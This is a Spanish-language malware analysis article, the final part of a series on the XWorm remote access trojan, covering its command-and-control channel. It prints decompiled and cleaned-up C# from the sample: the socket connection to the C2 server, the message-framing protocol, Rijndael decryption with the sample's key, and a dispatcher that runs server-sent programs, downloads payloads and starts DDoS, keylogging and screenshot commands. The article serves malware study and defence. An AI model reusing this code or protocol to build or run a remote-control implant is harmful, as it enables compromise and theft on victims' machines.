012 - Decodificando XWorm: Comando y Control
This article is also available in english
- Introducción
- Exploración inicial y técnicas anti-análisis
- Evasión de defensas y persistencia
- Movimiento lateral
- Keylogger y captura de criptomonedas
- Comunicación con Telegram y obtención de nueva variante
- Comando y Control
1. Introducción
A lo largo de esta serie, hemos visto y analizado distintas capacidades de XWorm:
- Cómo XWorm está ofuscado, y parte de su contenido encriptado.
- Cómo XWorm detecta si se está ejecutando en un ambiente virtualizado, o si está siendo analizado.
- Cómo XWorm evade la inspección de Windows Defender, y cómo asegura su presencia continua en el sistema.
- Cómo XWorm utiliza USBs para infectar nuevas víctimas.
- Cómo XWorm intercepta transacciones de criptomonedas para robarlas.
- Cómo XWorm utiliza esteganografía para obtener nuevas versiones de si mismo.
En este artículo, terminaremos de analizar XWorm al explorar sus capacidades de Comando y Control.
2. Análisis de la comunicación con servidor C2
Comenzamos el análisis revisando el código de la función akmI2V6A24xXwzijq1Apr6qc8vIECvYw7wuhn35sTaltgYEwhJpRu6tPvkdv2PZ0dBnVrJ, la cual se ejecuta eternamente e invoca a la función BksWN8usZHEPYjXOepUuPed506P8l7490zXstDClo3w3ocS9R4MKGnmKsDsVV4Gzbxo8CD cada 3-10 segundos:
private static void akmI2V6A24xXwzijq1Apr6qc8vIECvYw7wuhn35sTaltgYEwhJpRu6tPvkdv2PZ0dBnVrJ()
{
for (;;)
{
Thread.Sleep(new Random().Next(3000, 10000));
{
BksWN8usZHEPYjXOepUuPed506P8l7490zXstDClo3w3ocS9R4MKGnmKsDsVV4Gzbxo8CD();
}
}
}
El código de la función parece complicado por la ofuscación; sin embargo, podemos apreciar referencias a configuraciones de red (Socket, receiveBufferSize, sendBufferSize, ProtocolType.Tcp, Connect, etc):
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.veYDgekcw0bU4jdnY5J8alsB4HT00HWcgPPZj69QgPj61tNLG4BgAEXSJQT6xfAcMu6F9y = -1L;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F = new byte[1];
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.vlofGR2jYYtgBo8ZJYQkrMJ7mCXyaeAUOvhz8Fj4oLsKfA6Z9Bjbu8w4L1oawDMPeG17oJ = new MemoryStream();
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.ReceiveBufferSize = 51200;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.SendBufferSize = 51200;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.Connect(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.qsurotxVBQWuN1wXL7Sl3R7UMOoGherwjkt90, Conversions.ToInteger(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.vaPrr1IV8frcD45YWkTGWcPr8LuQlXihBUinL));
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.OkuWBmMkpuiVIW6eyvaKWy4CDDKrSTSQwnG6q8u9hJWeul4YEsKDRLLkQu3LmoAhGA89NA = true;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.j4FT1dlaJqQ3jblx3hdeFi6bjwXmQkMdBN8Pj3PmpcYjLDlRuFIRjW11zgFa91XkoXOwiA = RuntimeHelpers.GetObjectValue(new object());
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.oRkru4kYIVUPRva4enZYKUiXdip6AWo5GOCIlJY4K6mvXmarmBevCDWutpso4tvV9TT5Ir(Conversions.ToString(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.TvaCJXe9EYrimDi3sObeVd7NzQvx0fopFC38oM8zJpcyL1AYAFXAeSiuXHgr2BXkNMnCHQ()));
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.BeginReceive(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F, 0, 0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F.Length, SocketFlags.None, new AsyncCallback(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.o9x1mOeWpPy464ka6PK9zEVXVQ91kurk2fzW8Rr3WmGK2z2GmM1eU4MTUoPB9EVeoGziI0), null);
TimerCallback timerCallback = new TimerCallback(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.lJC5FDMJRtcFIDSwjsw3CFlq3tIYZOUWMMB5b2xIAYivpM6VTJZGbzHVHiRvzCLIsmnI4m);
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.RxLzJ8KpdWFhOHJ6LWJyvCEVqQ6FRPlJrmYVdFdutMN9WYYz7sB6jpLjMeXkK6aO5KvTTC = new Timer(timerCallback, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));
Limpiando un poco el código obtenemos lo siguiente:
clase.vSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
...
clase.vBuffer = new byte[1];
clase.vMemoryStream = new MemoryStream();
clase.vSocket.ReceiveBufferSize = 51200;
clase.vSocket.SendBufferSize = 51200;
clase.vSocket.Connect(clase2.host, Conversions.ToInteger(clase2.port));
...
clase.vSocket.BeginReceive(clase.vBuffer, 0, clase.vBuffer.Length, SocketFlags.None, new AsyncCallback(clase.vCallBack), null);
TimerCallback timerCallback = new TimerCallback(clase.vState);
clase.vTimer = new Timer(timerCallback, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));
Vemos que XWorm establece una conexión a un host y puerto, los cuales provienen de los valores desencriptados al iniciar el malware; luego, empieza a recibir el tráfico enviado por el servidor y lo almacena en un buffer (vBuffer), y, una vez termina de recibir tráfico, procede a llamar a una función (vCallBack).
Adicionalmente vemos que se crea un timer que cada 10-15 segundos llama a la función timerCallback.
La función invocada, vCallBack, utiliza una lógica propia para interpretar cualquier mensaje recibido por el servidor:
public static void vCallBack(IAsyncResult vTraficoRecibido)
{
int num = clase.vSocket.EndReceive(vTraficoRecibido);
if (num > 0)
{
if (clase.vControl == -1L)
{
if (clase.vBuffer[0] == 0)
{
clase.vControl = Conversions.ToLong(clase2.GetString(clase.vMemoryStream.ToArray()));
clase.vMemoryStream.Dispose();
clase.vMemoryStream = new MemoryStream();
if (clase.vControl == 0L)
{
clase.vControl = -1L;
clase.vSocket.BeginReceive(clase.vBuffer, 0, clase.vBuffer.Length, SocketFlags.None, new AsyncCallback(clase.vCallBack), clase.vSocket);
return;
}
clase.vBuffer = new byte[(int)(clase.vControl - 1L) + 1];
}
else
{
clase.vMemoryStream.WriteByte(clase.vBuffer[0]);
}
}
else
{
clase.vMemoryStream.Write(clase.vBuffer, 0, num);
if (clase.vMemoryStream.Length == clase.vControl)
{
ThreadPool.QueueUserWorkItem(new WaitCallback(clase.vFuncAEjecutar), clase.vMemoryStream.ToArray());
clase.vControl = -1L;
clase.vMemoryStream.Dispose();
clase.vMemoryStream = new MemoryStream();
clase.vBuffer = new byte[1];
}
else
{
clase.vBuffer = new byte[(int)(clase.vControl - clase.vMemoryStream.Length - 1L) + 1];
}
}
clase.vSocket.BeginReceive(clase.vBuffer, 0, clase.vBuffer.Length, SocketFlags.None, new AsyncCallback(clase.vCallBack), clase.vSocket);
}
}
La función vCallBack se encarga de manejar los datos que recibimos desde el servidor de C2. XWorm espera que el servidor envíe sus instrucciones en tres partes:
- Una cadena que representa el tamaño del payload (por ejemplo, “20”),
- Un byte separador (\x00),
- El payload propiamente dicho (las instrucciones).
Veamos paso a paso cómo el código maneja este protocolo:
-
Lectura de datos entrantes:
La función comienza llamando a EndReceive, que nos indica cuántos bytes fueron recibidos. Si no se recibió nada (num <= 0
), la función termina. -
Estado inicial – esperando el tamaño del payload:
Si la variable de control vControl es -1 (su valor inicial), aún estamos ensamblando el tamaño del payload a partir de los bytes recibidos.
-
Caso A: Se recibió el separador (
vBuffer[0] == 0
)
Esto indica que ya se completó la cadena que representa el tamaño. Los datos acumulados en vMemoryStream se convierten en un número, el cual se guarda en vControl.Si el número convertido es 0, lo ignoramos (probablemente sea un keep-alive o una solicitud malformada) y se reinicia todo para seguir escuchando. En caso contrario, se prepara un buffer con el tamaño exacto para recibir el payload.
-
Caso B: Aún se está recibiendo el tamaño (
vBuffer[0] != 0
)
Significa que seguimos construyendo la cadena del tamaño byte por byte. El byte actual se añade al MemoryStream y se espera recibir más datos.
- Fase de recepción del payload (vControl != -1):
En este punto, ya sabemos cuántos datos se deben recibir. Todos los bytes entrantes se escriben en el MemoryStream.
- Si la cantidad total de bytes recibidos coincide con vControl, se ha ensamblado completamente el payload.
- El payload se pasa entonces a vFuncAEjecutar utilizando un hilo del thread pool.
- Después de colocar la tarea en cola para ejecución, XWorm reinicia el estado para prepararse para la siguiente instrucción.
- Continuar recibiendo:
Después de manejar cualquier paquete de datos, la función vuelve a llamar a BeginReceive, de modo que queda lista para procesar el siguiente paquete de datos cuando llegue.
3. Desencriptado del payload
El servidor de C2 envía el payload cifrado; al invocar a la función vFuncAEjecutar esta utiliza el algoritmo Rijndael para desencriptar el payload:
public static byte[] bYp2DT0qddN2(byte[] vPayloadRecibido)
{
RijndaelManaged rijndaelManaged = new RijndaelManaged();
MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
byte[] array;
try
{
rijndaelManaged.Key = md5CryptoServiceProvider.ComputeHash(clase1.GetBytes(clase2.llave));
rijndaelManaged.Mode = CipherMode.ECB;
ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
array = cryptoTransform.TransformFinalBlock(vPayloadRecibido, 0, vPayloadRecibido.Length);
}
return array;
}
En la muestra analizada la llave es <123456789>
.
4. Ejecución de comandos
Una vez desencriptado el payload, este es dividido utilizando la función Strings.Split tomando como separador la cadena de texto <Xwormmm>
, la cual fue obtenida al iniciar el malware:
string[] array = Strings.Split(clase1.GetString(clase1.bYp2DT0qddN2(vPayloadRecibido)), Conversions.ToString(clase.separador), -1, CompareMethod.Binary);
string text = array[0];
if (Operators.CompareString(text, "rec", false) == 0)
{
zsvYKm3Krg57.UnsetProcessCritical();
Application.Restart();
Environment.Exit(0);
}
else if (Operators.CompareString(text, "CLOSE", false) == 0)
{
zsvYKm3Krg57.UnsetProcessCritical();
clase.vSocket.Shutdown(SocketShutdown.Both);
clase.vSocket.Close();
Environment.Exit(0);
}
...
El primer resultado de la separación del payload corresponde al comando, y la segunda parte a los argumentos que este recibe; por ejemplo, el payload Urlopen<Xwormmm>C:\Windows\System32\calc.exe
ejecutaría el comando Urlopen, pasándole como argumento la ruta donde está la calculadora de Windows:
if (Operators.CompareString(text, "Urlopen", false) == 0)
{
clase.Urlopen(array[1], false);
}
...
public static void Urlopen(string comando, bool descargar)
{
if (descargar)
{
try
{
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
ServicePointManager.DefaultConnectionLimit = 9999;
}
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(comando);
httpWebRequest.UserAgent = TFIW2FSLtw9S.yeTD98gQKyr3[new Random().Next(TFIW2FSLtw9S.yeTD98gQKyr3.Length)];
httpWebRequest.AllowAutoRedirect = true;
httpWebRequest.Timeout = 10000;
httpWebRequest.Method = "GET";
using ((HttpWebResponse)httpWebRequest.GetResponse())
{
}
}
else
{
Process.Start(comando);
}
}
XWorm soporta los siguientes comandos:
- rec: modifica la criticidad del proceso de crítico a no-crítico y reinicia el programa
- CLOSE: modifica la criticidad del proceso de crítico a no-crítico y cierra el programa
- uninstall: elimina el malware y sus mecanismos de persistencia
- update: actualiza el malware con la información enviada por el C2
- DW/FM/LN: diferentes maneras de descargar y ejecutar programas
- Urlopen: inicia el proceso que envía el C2 (por ejemplo “C:\Windows\System32\calc.exe”)
- PCShutdown: apaga la computadora
- PCRestart: reinicia la computadora
- PCLogoff: cierra la sesión del usuario
- StartDDos: inicia un ataque DDOS a la URL especificada por el atacante
- StopDDos: detiene un ataque DDOS en ejecución
- StartReport: envía los procesos en ejecución al servidor de C2
- Xchat/ngrok: envía el ID de agente al servidor de C2
- plugin: descarga y ejecuta un plugin
- OfflineGet: captura lo que el usuario escribe (keylogger)
- $Cap: saca una captura de pantalla del dispositivo y la envía al servidor de C2
- MessageBox: muestra un mensaje al usuario
Conclusión
Luego de 7 artículos finalmente llegamos al objetivo de XWorm: es un RAT (Remote Access Trojan) que tiene múltiples capacidades:
- Keylogger
- Captura de criptomonedas
- Sacar capturas de pantalla
- Iniciar un ataque DDOS
- Ejecutar un programa en el sistema
- Descargar y ejecutar un programa (por ejemplo, un ransomware)
- Instalación de plugins
La gran cantidad de capacidades que tiene XWorm, así como las medidas que toma para pasar desaparcibido, hacen de este un malware interesante para ser analizado; XWorm es un malware que sigue en constante evolución, con nuevas muestras apareciendo recientemente, por lo que será bueno revisar en unos meses qué nuevas técnicas ha implementado para seguir comprometiendo nuevas víctimas.
¿Tienes algún comentario o sugerencia?